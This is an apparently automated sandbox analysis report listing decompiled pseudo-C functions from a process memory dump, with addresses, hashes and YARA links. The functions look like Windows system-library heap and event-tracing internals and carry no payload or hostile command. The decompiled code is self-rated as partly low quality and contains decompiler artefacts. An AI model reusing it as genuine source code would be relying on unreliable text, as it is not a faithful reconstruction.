Function 00E18F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00E18F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0xe3d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E00D67D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x00e18f6a
0x00e18f79
0x00e18f81
0x00e18f84
0x00e18f8b
0x00e18f91
0x00e18f94
0x00e18f9e
0x00e18fb0
0x00e18fa0
0x00e18fa9
0x00e18fa9
0x00e18fbb
0x00e18fbc
0x00e18fbe
0x00e18fc3
0x00e18fd6

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42769c41b37e50660844bd2f10be9d1fc853a180b674d0dc6e271a7b8144dc82
Instruction ID: ea17307ec02af208973abbb382af30faf53a171eeb29c2ba073dd7c00f7b829a
Opcode Fuzzy Hash: 42769c41b37e50660844bd2f10be9d1fc853a180b674d0dc6e271a7b8144dc82
Instruction Fuzzy Hash: 2C014474A0420CAFDB04EFA8D546AAEB7F4FF08300F104459B905EB391EB74DA00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E0131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00E0131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0xe3d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E00D67D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x00e0131b
0x00e0132a
0x00e01330
0x00e01336
0x00e0133e
0x00e01341
0x00e01344
0x00e0134f
0x00e01361
0x00e01351
0x00e0135a
0x00e0135a
0x00e0136c
0x00e0136d
0x00e0136f
0x00e01374
0x00e01387

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5a78fad17a4de51658841edbab535b7b33b0c1212cb6096557f9d0d11a10612
Instruction ID: 22ccb01a8b296ba521e0aec35d40a617ebd5ee6e4e53ad1367d6077e432609ca
Opcode Fuzzy Hash: b5a78fad17a4de51658841edbab535b7b33b0c1212cb6096557f9d0d11a10612
Instruction Fuzzy Hash: 42014471A0520CAFCB04EFA9D546AAEB7F4FF08740F108059F845EB391E674DA40CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00E01608, Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00E01608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0xe3d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E00D67D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x00e01608
0x00e01617
0x00e0161d
0x00e01625
0x00e01628
0x00e0162b
0x00e01636
0x00e01648
0x00e01638
0x00e01641
0x00e01641
0x00e01653
0x00e01654
0x00e01656
0x00e0165b
0x00e0166e

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61cb716ea87b8e3a7c9317e5b03783859c49cccdbc9c046d89f05abcdb3fd6cb
Instruction ID: ea7a17f25ebd0b0e26f3efb9b55d9a229018174e73f78db5fa1009897a3bc38d
Opcode Fuzzy Hash: 61cb716ea87b8e3a7c9317e5b03783859c49cccdbc9c046d89f05abcdb3fd6cb
Instruction Fuzzy Hash: 0EF06271A0424CEFDB04EFA9D846EAEB7F4EF04300F044099B905EB391E6349900CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00D6C577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D6C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E00D6C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0xd211cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E00E188F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x00d6c577
0x00d6c57d
0x00d6c581
0x00d6c5b5
0x00d6c5b9
0x00d6c5ce
0x00d6c5ce
0x00d6c5ca
0x00000000
0x00d6c5ca
0x00d6c5c4
0x00d6c5c8
0x00000000
0x00000000
0x00000000
0x00d6c5ad
0x00000000
0x00d6c5af

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4a2c2c28f6e2ad83d25d0023cf7a571e4e561c401f7357e438edc22cf712a5c
Instruction ID: 47d4b0db29fe58ed3128462de35c9199a49e8afdfe235c40a69e7756439b1647
Opcode Fuzzy Hash: c4a2c2c28f6e2ad83d25d0023cf7a571e4e561c401f7357e438edc22cf712a5c
Instruction Fuzzy Hash: 12F09AB29356A49FD7368728C914B727BE89B15770F98A46BE4C787211C7A4FC80C2B1

Uniqueness

Uniqueness Score: -1.00%

Function 00E02073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00E02073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E00DFFD22(__ecx);
				_t19 =  *0xe3849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0xe38748; // 0x0
					if(__eflags <= 0) {
						E00E01C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0xe38724 & 0x00000004;
							if(( *0xe38724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0xe38724; // 0x0
					return E00DF8DF1(__ebx, 0xc0000374, 0xe35890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x00e02076
0x00e02078
0x00e0207d
0x00e02083
0x00e020a4
0x00e020aa
0x00e020ac
0x00e020b7
0x00e020ba
0x00e020bc
0x00e020c9
0x00e020c9
0x00e020d0
0x00e020d2
0x00000000
0x00e020d2
0x00e020be
0x00e020c3
0x00e020c5
0x00e020c7
0x00000000
0x00000000
0x00e020c7
0x00e020bc
0x00e020d4
0x00e02085
0x00e02085
0x00e020a3
0x00e020a3

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae8e446b2406f4c006d5884ddefce796b9dfeab6f736c7a2815e62ece06337e8
Instruction ID: a75e69d9c799b11c727d691bba157e7679aeca858a2ad23d2f3d33f93582a1f4
Opcode Fuzzy Hash: ae8e446b2406f4c006d5884ddefce796b9dfeab6f736c7a2815e62ece06337e8
Instruction Fuzzy Hash: F5F027264113884FDF365B256A0E2E12FC1CB45314F1A208AF69077281C9748DC7CA21

Uniqueness

Uniqueness Score: -1.00%

Function 00E18D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00E18D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0xe3d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E00D67D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x00e18d34
0x00e18d43
0x00e18d4b
0x00e18d4e
0x00e18d52
0x00e18d5c
0x00e18d6e
0x00e18d5e
0x00e18d67
0x00e18d67
0x00e18d79
0x00e18d7a
0x00e18d7c
0x00e18d81
0x00e18d94

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f3bff682967c93738e11a542a6a219509a8fd9445ddeb652acfa26c0f815642
Instruction ID: 098447749489d7e314034dac4d9163a430c060206c0b32e48ae680601a37d73a
Opcode Fuzzy Hash: 1f3bff682967c93738e11a542a6a219509a8fd9445ddeb652acfa26c0f815642
Instruction Fuzzy Hash: 3DF05470A0470C9FD714EFB9E546BAEB7B8EF14704F508499F915EB291EA34D900CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00D8927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00D8927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E00D8FA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E00D892C6(_t11, _t14);
				}
				return _t11;
			}

0x00d89295
0x00d89299
0x00d8929f
0x00d892aa
0x00d892ad
0x00d892ae
0x00d892af
0x00d892b0
0x00d892b4
0x00d892bb
0x00d892bb
0x00d892c5

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 894400321fef5880d8c72dadf73eb040fd95e7b706471ab091466055b055dc42
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: 2BE06D322406407BE721AF5ADC95B5776A9EF82725F084079B9045E283CAE6DD0987B4

Uniqueness

Uniqueness Score: -1.00%

Function 00E18CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E00E18CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0xe3d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E00D67D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x00e18ce5
0x00e18ced
0x00e18cf0
0x00e18cfb
0x00e18d0d
0x00e18cfd
0x00e18d06
0x00e18d06
0x00e18d18
0x00e18d19
0x00e18d1b
0x00e18d20
0x00e18d33

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 621964a53409c727f1c45d38a710936b64604ea17bf05be2b7459c34377ac8e2
Instruction ID: 46ad652121d8f05ef029f7398edf156383f6d82548e87da439d30b7995519ff9
Opcode Fuzzy Hash: 621964a53409c727f1c45d38a710936b64604ea17bf05be2b7459c34377ac8e2
Instruction Fuzzy Hash: CCF08270A0420CAFDB04EBA9E946EAE77B8EF08304F140599F916EB2D1EA34DD00C764

Uniqueness

Uniqueness Score: -1.00%

Function 00D6746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00D6746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E00D5EB70(__ecx, 0xe379a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E00D895D0();
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x00d6746d
0x00d6746d
0x00d6746d
0x00d67471
0x00d67488
0x00daf92d
0x00d6748e
0x00d67491
0x00d67495
0x00daf937
0x00daf93a
0x00daf94e
0x00daf953
0x00daf956
0x00daf956
0x00d67495
0x00000000
0x00d67488
0x00d67473
0x00d67478
0x00d6747d
0x00d67481
0x00000000
0x00d67481
0x00d6747d
0x00d6747a
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 131309f583579ba4c22b3aabf0163a98484d3e5731fb79b7ce42d9a0af7283cd
Instruction ID: dc897dd9efe51ff90e7243884b067edb6594a0380a2cc4a3380011c36864add6
Opcode Fuzzy Hash: 131309f583579ba4c22b3aabf0163a98484d3e5731fb79b7ce42d9a0af7283cd
Instruction Fuzzy Hash: 62F0B43450814CABCF119B78C444B7ABBA1AF04358F180265E8D1A7151EB24EC00CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00E18B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E00E18B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0xe3d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E00D67D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x00e18b67
0x00e18b6f
0x00e18b72
0x00e18b7d
0x00e18b8f
0x00e18b7f
0x00e18b88
0x00e18b88
0x00e18b9a
0x00e18b9b
0x00e18b9d
0x00e18ba2
0x00e18bb5

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae96426edc822161de67cda0bfe2c0ddf1897d1d43e0b96a77db3e660088357
Instruction ID: 1ca638a5928227618662bb3de9cccc8ed57409c756f684f5fa9e327da30243f2
Opcode Fuzzy Hash: aae96426edc822161de67cda0bfe2c0ddf1897d1d43e0b96a77db3e660088357
Instruction Fuzzy Hash: 5AF089B0A1425C9FDB04EBA4D946EBE77B4EF04304F140459B905EB391EB74DD00C764

Uniqueness

Uniqueness Score: -1.00%

Function 00D44F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D44F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E00E188F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E00D6C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0xd21030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x00d44f2e
0x00d44f34
0x00d44f38
0x00da0b85
0x00da0b85
0x00da0b89
0x00da0b9a
0x00da0b9a
0x00da0b9f
0x00000000
0x00da0b9f
0x00da0b94
0x00da0b98
0x00000000
0x00000000
0x00000000
0x00da0b98
0x00d44f3e
0x00d44f48
0x00000000
0x00d44f6e
0x00000000
0x00d44f70

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95540fcbd3c02aa56095b93a7ec77495a45d3dbc630c5e89655063eed5f70de6
Instruction ID: 2f07a403f87b00a7b34bc3dabec21e303e8dc7adaa7cf7e8be8b067db3e1ad89
Opcode Fuzzy Hash: 95540fcbd3c02aa56095b93a7ec77495a45d3dbc630c5e89655063eed5f70de6
Instruction Fuzzy Hash: 42F0E2329216948FD770CB18C740B22BBD4EF127B8F485464E40587A21C734EC88C670

Uniqueness

Uniqueness Score: -1.00%

Function 00D7A44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D7A44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0xe37b9c; // 0x0
				_t15 = __ecx;
				_t16 = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E00D8FA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x00d7a44b
0x00d7a453
0x00d7a472
0x00d7a476
0x00000000
0x00d7a493
0x00d7a47a
0x00d7a47f
0x00d7a486
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ad8c4c4c27cbcde3966f43b3aaadf1e9f7fbe249c44175ed5e0dbd17e4e877
Instruction ID: 11b88e04570c9baebdf53157dce1e94ae74b2216585fc1191de8b2aa6889a985
Opcode Fuzzy Hash: 13ad8c4c4c27cbcde3966f43b3aaadf1e9f7fbe249c44175ed5e0dbd17e4e877
Instruction Fuzzy Hash: B9E09272A01421ABD2219B58EC01F6BB3ADDBD6755F194035F548D7210D669DD01C7F1

Uniqueness

Uniqueness Score: -1.00%

Function 00D4F358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00D4F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E00D7F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L00D64620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x00d4f35d
0x00d4f361
0x00d4f367
0x00d4f372
0x00d4f38c
0x00d4f38c
0x00d4f394

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: dc39ba0d8ddc49095ef238ce61960f6d129c897397d21f8b6225838893be5eec
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: 7AE0D832A40118BBCB319BD99D06F9BBBACDB44B60F044165F904D7160D5619D00C2F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5FF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D5FF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0xd211a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E00E188F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E00D60050(_t14);
				}
			}

0x00d5ff66
0x00d5ff6b
0x00000000
0x00d5ff8f
0x00000000
0x00d5ff8f

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012437f6cafe5995bfe44ba791c28d1af0f80f9a25b955cee0c973d620454da6
Instruction ID: 78e6b52daba624b8c9e100c2a6519f4707c0ade5be02fea167006c4ddafe4792
Opcode Fuzzy Hash: 012437f6cafe5995bfe44ba791c28d1af0f80f9a25b955cee0c973d620454da6
Instruction Fuzzy Hash: 0DE09AB02092049FDB35DB51D240F253B999F62726F1D8069FC084F902C621DC8CC236

Uniqueness

Uniqueness Score: -1.00%

Function 00DD41E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00DD41E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0xe208f0);
				_t5 = E00D9D08C(__ebx, __edi, __esi);
				if( *0xe387ec == 0) {
					E00D5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0xe387ec == 0) {
						 *0xe387f0 = 0xe387ec;
						 *0xe387ec = 0xe387ec;
						 *0xe387e8 = 0xe387e4;
						 *0xe387e4 = 0xe387e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L00DD4248();
				}
				return E00D9D0D1(_t5);
			}

0x00dd41e8
0x00dd41ea
0x00dd41ef
0x00dd41fb
0x00dd4206
0x00dd420b
0x00dd4216
0x00dd421d
0x00dd4222
0x00dd422c
0x00dd4231
0x00dd4231
0x00dd4236
0x00dd423d
0x00dd423d
0x00dd4247

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca82d837867e5e1a4690f4ceeba70fa7f2d34a9233b53d6d6acf766b05338ee9
Instruction ID: 1d228037a9c1517595f21463ad45b1347a44dfe1e3962ec7a353ddc32b3370a2
Opcode Fuzzy Hash: ca82d837867e5e1a4690f4ceeba70fa7f2d34a9233b53d6d6acf766b05338ee9
Instruction Fuzzy Hash: 78F0F8744107088FCB60EFA69A0A7043EA6E794311F20522BB008E62A5CB345548CF25

Uniqueness

Uniqueness Score: -1.00%

Function 00DFD380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DFD380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L00D4E8B0(__ecx, _a4, 0xfff);
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x00dfd38a
0x00dfd39b
0x00dfd3b1
0x00000000
0x00dfd3b6
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: e4a4c17186d78459982128d2d4f814b44c14db96cf22f15b27681f4c3dfe11db
